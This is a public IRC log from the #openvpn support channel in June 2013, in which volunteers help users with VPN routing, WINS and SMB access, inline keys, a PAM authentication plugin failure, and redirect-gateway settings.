20:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
20:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
20:51 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:54 -!- lamba [~lamba@unaffiliated/lamba] has left #openvpn []
21:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
21:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:17 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
21:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
21:31 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 268 seconds]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 256 seconds]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- nikkiheat [~nikkiheat@85.sub-70-196-193.myvzw.com] has joined #openvpn
22:06 -!- nikkiheat [~nikkiheat@85.sub-70-196-193.myvzw.com] has quit [Client Quit]
22:12 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:13 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
22:16 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
22:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
22:55 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
22:55 -!- EugeneKay [eugene@badcryp.to] has quit [Ping timeout: 245 seconds]
22:56 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
22:58 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
22:58 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
23:01 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
23:45 -!- nikkiheat [~nikkiheat@85.sub-70-196-193.myvzw.com] has joined #openvpn
23:57 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 256 seconds]
--- Day changed Thu Jun 20 2013
00:06 -!- nikkiheat [~nikkiheat@85.sub-70-196-193.myvzw.com] has quit [Read error: Connection reset by peer]
00:17 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
00:17 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
00:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
00:21 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 255 seconds]
00:22 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
00:38 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
00:39 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
00:48 -!- d3c [~d3c@185.20.241.138] has joined #openvpn
00:49 -!- d3c [~d3c@185.20.241.138] has quit [Client Quit]
00:56 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
01:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:14 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
01:14 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
01:14 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
01:16 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
01:32 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:32 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:32 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:41 -!- mattock_afk is now known as mattock
02:15 -!- mattock is now known as mattock_afk
02:19 -!- mattock_afk is now known as mattock
02:20 -!- randomgry [quasselcor@freenode/staff/gry] has quit [Quit: Leaving.]
02:20 < spacedust> what options are there to connect two sites so that people could see windows smb shares of each others ?
02:20 < spacedust> do i need to use bridging ?
02:22 < Aketzu_> do you need browsing or can you work with direct links?
02:35 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
02:37 -!- dazo_afk is now known as dazo
02:39 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
02:45 < spacedust> Aketzu_: i am not sure :)
02:45 < spacedust> i think i can work with direct links if you mean //someiphere/someshare
02:45 < Aketzu_> yes
02:45 < Aketzu_> then you don't need bridging or anything special
02:47 < Aketzu_> "if it pings, then it works"
02:47 < spacedust> :)
02:47 < spacedust> Aketzu_: i didnt knew samba is routable
02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds]
02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:47 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:47 < Aketzu_> has been since windows 2000 or something
02:49 < Aketzu_> erm... win 2000 used SMB by default over port 445 instead of netbios
02:50 < Aketzu_> port 445 support has existed for even longer time
03:08 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Quit: WeeChat 0.4.1]
03:12 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
03:28 <@dazo> spacedust: use WINS
03:28 <@dazo> spacedust: then you should even be able to use \\servername\share
03:28 < altker128> hey all.  Has anyone here compiled openvpn under Debian?  I've pulled latest openssl, did make  / make install, but configure script for openvpn complains about missing ssl
03:29 <@dazo> altker128: I haven't, but I know a boatload of people do that from time to time .... mattock might have some clues, though
03:29 < altker128> Hey mattock , you here?
03:31 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:31 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:32 < altker128> Or, alternatively, any builds for Debian Wheezy (7.0)?
03:36 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
03:50 < altker128> If it matters, I'm building openssl-1.0.1e
03:53 < altker128> hrm
03:53 < altker128> looks like a shared library support issue
03:53 < altker128> gah, why is openssl such a pain in the ass?
04:08 <@plaisthos> altker128: why aren't you just using the openssl shipped with debian?
04:12 < altker128> plaisthos: Because I don't trust it.
04:12 < altker128> plaisthos: Slow to fix vulnerabilities
04:16 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:28 < spacedust> dazo: thanks
04:28 < nish> !Welcome
04:28 <@vpnHelper> "Welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
04:28 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:29 <@dazo> spacedust: as a general rule: avoid bridging as often as possible .... and if possible, use TUN instead of TAP ....  for more info, see this one: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
04:29 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
04:33 < spacedust> dazo: yes thats what i intend doing
04:34 < spacedust> i need push only if i want it connected with other subnets right ?
04:35 <@dazo> spacedust: Is your SMB share/server on the same box as your OpenVPN server?
04:38 < spacedust> no
04:39 <@dazo> spacedust: okay, then you will need routing + push ... your VPN tunnel, needs to be a separate network segment (f.ex. 10.8.0.0 netmask 255.255.255.0) ... and then you do:  push "route your.sub.net.here 255.255.255.0" ... and then it will instruct your OpenVPN clients to push all accesses to your server's subnet via the VPN
04:40 <@dazo> but you should probably read the "Using routing" section in the wiki page I pointed you at much more carefully ... it explains how to prepare the network setup for tackling this
04:43 < nish> I would like to access samba-shares over my vpn. Can ping server, and get webpages and do dns over the vpn, but can't connect to the samba shares. Samba server is on vpn server. There is a subnet behind the server, but that is not configured. No subnet behind client. In smb.conf "interfaces" and "host allow" is updated with relevant information. The VPNetwork shows up as "unidentified network" in windows (win 7). Any suggestions as where to start looking?
04:45 <@dazo> nish: Look at the "Using routing" section of this wiki.  It explains how to setup a TUN + routing based OpenVPN setup ...  https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
04:45 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
04:45 <@dazo> nish: in addition to that, you must enable WINS ... and push the WINS dhcp-options correctly ... and "it should just work"
04:49 < nish> dazo: Thanks
04:55 < nish> dazo: given that the server got both 192.168.1.1, your.public.ip.adress and 10.8.0.1, which one of these should go into push "dhcp-option WINS some.ip.add.ress"?
04:55 <@dazo> nish: that should point at your WINS server ... often that's the same box as the one providing the SMB/CIFS shares
04:56 < nish> so 10.8.0.1 then, from the point of view of the vpn client?
04:57 <@dazo> ahh, sorry ... so your OpenVPN server is running on your SMB/CIFS server?
04:57 <@dazo> of so, then yes, 10.8.0.1
04:59 < nish> okay, great. I'll try that. Back soon, either to hand out thanks and appriciations, or to ask more newbie questions. :)
05:02 <@dazo> nish: if you're a newbie ... I can recommend the "OpenVPN 2 Cookbook"
05:02 <@dazo> !book
05:02 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
05:03 < jww> Hello.
05:36 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Ping timeout: 264 seconds]
05:40 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
05:40 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
05:41 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:44 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 264 seconds]
05:56 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
06:02 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:07 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
06:08 < jzaw> !ping
06:08 <@vpnHelper> pong
06:15 -!- wasanzy [~wasanzy@197.159.129.10] has joined #openvpn
06:15 < wasanzy> hello
06:19 -!- mattock is now known as mattock_afk
06:28 < wasanzy> I have a server which is having an Internet modem plug to it so it gets DHCP IP no public IP. and I want to setup  VPN on it so that, from my laptop I can ssh to the server, is it possible with openvpn?
06:29 < wasanzy> and how can I do that?
06:48 < spacedust> hi
06:48 < spacedust> is it possible to add the contents of the secret key to the config ?
06:48 < spacedust> so i dont need to make a separate file for secret.key ?
06:48 < spacedust> i mean the static key :)
06:50 < spacedust> like <ca>cert</ca>
06:50 <@plaisthos> spacedust: yes
06:50 <@plaisthos> spacedust: see OpenVPN 2.3 manpage
06:50 <@plaisthos> !inline
06:50 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
06:53 < spacedust> plaisthos: so it is <secret>key</secret> as the option ?
06:54 <@plaisthos> spacedust: Just read the man page section
06:54 < spacedust> plaisthos: i read it just i wanted to make sure :)
06:55 <@plaisthos> spacedust: yeah
06:55 < spacedust> thank you very much
07:02 < wasanzy> I have a server which is having an Internet modem plug to it so it gets DHCP IP no public IP. and I want to setup  VPN on it so that, from my laptop I can ssh to the server, is it possible with openvpn?
07:08 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 268 seconds]
07:10 < wasanzy> I am going to paste my configuration for you to see. I don't know why it is not working
07:10 < wasanzy> do I need to create the tap0 interface manually on the client?
07:18 < spacedust> what is the difference between push "route ..." and route ?
07:26 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:29 -!- lmm [uid6417@gateway/web/irccloud.com/x-gnmahawkwegtepyb] has quit [Ping timeout: 260 seconds]
07:34 < EugeneKay> !push
07:34 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
07:36 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
07:37 -!- Poster|w [poster@144.76.77.158] has quit [Ping timeout: 260 seconds]
07:38 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
07:53 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-oyjyvfdhfhagqshq] has joined #openvpn
07:58 -!- pagios_ [~pagios@46.19.194.89] has joined #openvpn
07:59 < pagios_> hello, $trusted_ip is to get the real ip of the client, what is the variable to get the ip of the vpn client
08:07 -!- pagios_ [~pagios@46.19.194.89] has left #openvpn ["Leaving"]
08:16 -!- mattock_afk is now known as mattock
08:45 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
08:48 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:50 < michaelhart> I had two VPN servers suddenly fail yesterday. they are configured with pam auth (plugin /usr/lib/openvpn/openvpn-auth-pam.so login) and have worked fine for months. Suddenly both failed to accept connections with the error "PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so". Restarting the service fixed it. Any ideas?
08:51 < pekster> michaelhart, chances are good you upgraded one of the dynamically-linked libraries on your system that required a restart to pick up the changes
08:52 < pekster> Very rarely do applications "suddenly" stop working; there's generally a catalyst
09:10 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:10 < michaelhart> pekster, totally agree, just not sure what the catalyst is. I ran a search on that system, no binaries have changed. Both are under chef control and we're pretty strict on not manually changing stuff. As far as I can tell the ldap servers were/are behaving themselves too.
09:13 -!- landono [~landono@199-58-199-98.acedc.net] has left #openvpn []
09:53 -!- mattock is now known as mattock_afk
09:53 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
09:58 < EugeneKay> Did yum update the shared libs? ;-)
10:07 <@dazo> if yum is used ... check /var/log/yum.log ....
10:09 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:18 -!- raidz_away is now known as raidz
10:27 < michaelhart> This is on ubuntu, and last apt upgrade was on May 9th.
10:28 < michaelhart> A few days ago just one of the servers had this problem, but this time two at roughly the same time. They're both internet-facing, but nothing in the logs at all that looks suspicious, just one minute they're working and the next they are not.
10:28 < michaelhart> I've left one in a broken state, i can ssh to it with the same credentials that fail with openvpn, so it's not the credentials.
10:28 < michaelhart> by "ssh to it" i mean ssh to the host.
10:30 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
10:43 < defswork> list open files ?
10:43 < defswork> out of handles perhaps - something not closing ?
10:44 < defswork> restarting process would clean all that up
10:48 -!- majuscul1 is now known as majuscule
10:49 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
11:02 < michaelhart> this is interesting, an strace on the pid while trying to connect shows that it wrote this to /tmp/openvpn_acf_<some_huge_hex_number>.tmp: "AUTH-PAM: Error sending auth inf"
11:03 < michaelhart> which corresponds to a line in auth-pam.c, (openvpn_plugin_func_v1() in http://svn.openvpn.net/projects/openvpn/contrib/test/testbranch/plugin/auth-pam/auth-pam.c)
11:09 < michaelhart> Sorry wrong repository. I'm guessing this is more accurate: https://github.com/OpenVPN/openvpn/blob/master/src/plugins/auth-pam/auth-pam.c#L486
11:09 <@vpnHelper> Title: openvpn/src/plugins/auth-pam/auth-pam.c at master · OpenVPN/openvpn · GitHub (at github.com)
11:15 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:20 -!- jerry___ [~jerry@c-98-201-119-164.hsd1.tx.comcast.net] has joined #openvpn
11:20 -!- Valcorb [~Valcorb@151.236.17.24] has joined #openvpn
11:20 < jerry___> hello
11:20 < Valcorb> Hi, I'm in a weird situation
11:20 < Valcorb> So I'm connected to two openvpn connections
11:21 < Valcorb> One is to hide my IP, one is for business
11:21 < Valcorb> for business, we use PuTTY and WinSCP
11:21 < jerry___> is it possible to have my router connect to an openvpn server to connect my entire network to my work?
11:21 < Valcorb> but when I'm connected to the openvpn connection that hides my IP, it won't let me even connect or its very slow
11:21 < Valcorb> It's not the speed, the speed is fine
11:21 <@dazo> jerry___: If you have a router which got openvpn, then yes
11:21 < jerry___> would dd-wrt?
11:22 <@dazo> jerry___: but be sure you're aligned with your company's policy
11:22 <@dazo> jerry___: yes, most likely ... even though, I would never ever dare to use dd-wrt for such things .... to unsafe
11:22 < jerry___> my network is dual auth, should be. mac addresses have to be allowed
11:23 <@dazo> jerry___: well, it's most likely quite hackable device ... stock private encryption keys on all dd-wrt versions are available as a download (google littleblackbox)
11:23 <@dazo> jerry___: and the fun part of it ... dd-wrt don't see that as a problem
11:24 <@dazo> jerry___: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536
11:24 < jerry___> it's a comcast router that i wiuld install dd-wrt on it. doesn't have it yet
11:24 <@dazo> jerry___: then go for openwrt ... or x-wrt ... or tomato ... or something else than dd-wrt, really
11:24 < jerry___> okay
11:25 < rob0> Valcorb, sounds like you want "policy routing". It's doable and documented for Linux. I have no idea about Windows (nor, probably, does anyone outside of Redmond.)
11:26 <@dazo> jerry___: and just to have mentioned it ... here's another security issue dd-wrt didn't care much about .... http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783  ... firewall had hard-coded IP addresses to allow full access .... just to emphasize it's lack of understanding on the security topic
11:26 <@dazo> s/it's/their/
11:26 -!- jerry____ [~jerry___@c-98-200-236-201.hsd1.tx.comcast.net] has joined #openvpn
11:27 -!- mattock_afk is now known as mattock
11:27 < Valcorb> yeah rob0: I'm on Windows
11:27 < Valcorb> :/
11:28 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Read error: Operation timed out]
11:30 -!- jerry___ [~jerry@c-98-201-119-164.hsd1.tx.comcast.net] has quit [Ping timeout: 268 seconds]
11:30 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:30 -!- jerry____ [~jerry___@c-98-200-236-201.hsd1.tx.comcast.net] has left #openvpn []
11:58 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:05 -!- mattock is now known as mattock_afk
12:14 -!- Valcorb_ [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:16 -!- Valcorb [~Valcorb@151.236.17.24] has quit [Ping timeout: 252 seconds]
12:16 < michaelhart> re: authentication errors, best I can tell is that openvpn via auth-pam.c writes to a socket, which is closed. I've no further way to tell what it was actually trying to talk to. At this point I'm' going to restart it and hope it doesn't happen again.
12:18 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:21 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
12:26 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
12:27 -!- mattock_afk is now known as mattock
12:28 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Quit: Leaving]
12:33 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
13:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:01 < thumbs> 23
13:12 < rob0> 42
13:15 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
13:23 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
13:26 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
13:33 -!- wasanzy [~wasanzy@197.159.129.10] has quit [Ping timeout: 248 seconds]
13:51 -!- wasanzy [~wasanzy@41-66-254-58-dedicated.4u.com.gh] has joined #openvpn
13:52 -!- wasanzy [~wasanzy@41-66-254-58-dedicated.4u.com.gh] has quit [Max SendQ exceeded]
13:52 -!- wasanzy [~wasanzy@41-66-254-58-dedicated.4u.com.gh] has joined #openvpn
14:14 -!- magoo_ [~mattw@209.114.46.149] has quit [Quit: leaving]
14:19 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Read error: Connection reset by peer]
14:48 -!- dazo is now known as dazo_afk
15:00 -!- wasanzy [~wasanzy@41-66-254-58-dedicated.4u.com.gh] has quit [Ping timeout: 268 seconds]
15:06 -!- mattock is now known as mattock_afk
15:19 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:22 -!- master_o1_master [~master_of@p4FD7B17B.dip0.t-ipconnect.de] has joined #openvpn
15:23 -!- master_of_master [~master_of@p4FD7B58C.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
15:24 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:38 -!- Denial [~Denial@90.205.133.229] has quit []
15:41 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
15:57 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
16:07 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 260 seconds]
16:22 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:54 -!- lirime [~liriel@aphrodite.feralhosting.com] has joined #openvpn
16:55 -!- lirime is now known as liriel
16:55 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Ping timeout: 240 seconds]
16:56 -!- darkdrgn2k [~darkdrgn2@69.165.131.20] has joined #openvpn
17:19 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
17:54 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:19 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
18:20 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:23 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
18:26 -!- oc80z [oc80z@blea.ch] has joined #openvpn
18:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:32 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
18:33 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
18:51 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
19:00 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:24 -!- Valcorb_ [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
19:27 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Quit: bye]
19:28 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
19:37 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:44 -!- kristijonas [~kristijon@78.60.246.97] has joined #openvpn
19:45 < kristijonas> hello, if both client and server is under NAT router, what ports should I open/forward ?
19:49 < pekster> kristijonas: Only the system receiving the incoming connections (the server in a client/server setup) needs to be directly accessible on the public IP
19:51 < kristijonas> is there an easy way for a beginner to setup openvpn without certificates, just simply without any authentication or username/password?
19:55 < pekster> Easy-RSA makes it amazingly easy to generate certificates
19:56 < pekster> That said, you can use user/auth for your clients, but in a multi-client setup the server still needs its own keypair and the clients will need the CA to verify it, so you might as well just use certs anyway. Plus you need a backend authentication system, which will be either a script you write or a plugin to something like PAM or LDAP
19:57 < pekster> See the howto for setup procedures if you're new to OpenVPN. There is !static too, (the howto has a link to that setup) but it only supports 2 systems and isn't as secure
19:57 < pekster> !howto
19:57 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:05 < rob0> !android
20:05 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
20:10 -!- JackSparrow is now known as Yoda_
20:16 -!- Yoda_ is now known as JackSparrow
20:18 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:22 -!- raidz is now known as raidz_away
20:38 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:41 -!- Kayron [pochamonga@bzq-79-183-176-5.red.bezeqint.net] has joined #openvpn
20:43 < Kayron> Hello, I just setup openvpn on Linux with a static key (for quick tests, I'll add keys/certs eventually). Everything works, except routing with the redirect-gateway command.
20:43 < Kayron> It says I'm supposed to add 'def1' in there, that did nothing
20:43 < Kayron> Once I changed it to eth0, it worked
20:44 < Kayron> was I supposed to do that all along? lol
20:44 < pekster> Changed "it" to eth0? OpenVPN is higher-level; it has no care in the world what interface you're using
20:44 < pekster> !def1
20:44 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
20:44 < EugeneKay> Are you bridging? o.O
20:44 < EugeneKay> Don't bridge. :-p
20:45 < Kayron> Nope, routed
20:45 < Kayron> as far as I know
20:45 < Kayron> used the quick setup guide
20:45 < pekster> def1 gives you two /1 routes instead of replacing the default gateway
20:46 < Kayron> yeah, for whatever reason it did not work
20:46 < EugeneKay> !logs
20:46 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:46 < pekster> Define did not work? Do you not have the 128.0.0.0 netmask routes?
20:46 < Kayron> no, I don't
20:46 < rob0> does --redirect-gateway work with static keys (p2p mode)?
20:46 < pekster> Yea, you just can't push it
20:47 < Kayron> If I typed in eth0 instead of def1 it did
20:47 < rob0> (I don't know why it wouldn't, just never heard of it being done)
20:47 < Kayron> so actually, it does work, I was just wondering why it did that way
20:48 < pekster> --redirect-gateway does not take an interface. In fact, no openvpn option does, besides --dev
20:49 < EugeneKay> It probably just ignores the eth0 string and gives you a /0 route
20:49 < EugeneKay> But !logs or GTFO
20:50 < Kayron> lol, ok
20:50 < Kayron> I'll try without def1 at all just to see
20:50 < EugeneKay> We're not big on troubleshooting your contrived theories
20:52 < Kayron> where does openvpn linux keep the logs?
20:52 < Kayron> (tried empty redirect-gateway, did nothing)
20:52 < EugeneKay> !logfile
20:52 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
20:53 < EugeneKay> The bot knows all
20:53 < Kayron> ah I need to specify one, fair enough
20:54 < pekster> If you do nothing it dumps to stdout
20:54 < pekster> If you throw that away, that's not really openvpn's problem
20:54 < Kayron> yes I noticed it dumps to stdout
20:54 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:56 < pekster> Hmm, actually, you might need to use two /1 routes on your own
20:56 < Kayron> That works too
20:56 < pekster> I thought --redirect-gateway worked fine in mode p2p, but I get some "NOTE: unable to redirect default gateway -- Cannot obtain current remote host address" bit
20:56 < pekster> Not quite sure why since the remote address is given by --ifconfig, but oh well
20:57 < pekster> It's not really worth looking at the code since the replacement method to do that is pretty obvious
20:57 < Kayron> I guess I can try setting up keys and certs to see if it'll work that way
20:58 < pekster> I meant using two --route options with the /1 masks
20:58 < Kayron> yes, tried it in the client config file
20:59 < Kayron> the setup works, I basically just came here to ask what def1 was supposed to be
20:59 < Kayron> thanks anyway
20:59 < EugeneKay> Probably because nobody sane uses p2p mode anymore
20:59 < pekster> There are valid usecases for it, depending
20:59 < Kayron> :(
20:59 < pekster> But yea, not really this. If you want things like redirect, you usually want the server to push it to clients
20:59 < EugeneKay> Yeah, two of them.
20:59 < EugeneKay> :v
21:00 < Kayron> eth0 does work for me in this so-called p2p mode, so
21:00 < rob0> Disagree. The truly paranoid, or those in China seeking the end run around the Great Firewall, benefit from p2p mode.
21:01 < EugeneKay> That's one of the two cases
21:01 < EugeneKay> The other is lazy people
21:01 < rob0> ah, okay
21:01 < Kayron> Or people who aren't so skilled with computers?
21:02 < rob0> anyway, a PKI tunnel inside a static key tunnel is about as random as your data can get.
21:02 < EugeneKay> That falls under lazy
21:03 < Kayron> oh also, is there something that overwrites the /1 routes? ie, route everything besides, say, 8.8.8.8 (Google DNS)
21:03 < pekster> I have no clue why you keep referring to eth0
21:03 < pekster> There is *no* openvpn directive that you should be using eth0 with at all
21:04 < Kayron> Because, believe it or not, the line "redirect-gateway eth0" is what made it work
21:04 < Kayron> I tried it on a whim
21:04 < pekster> That is not a valid flag. Have you seen the manpage?
21:04 < pekster> !man
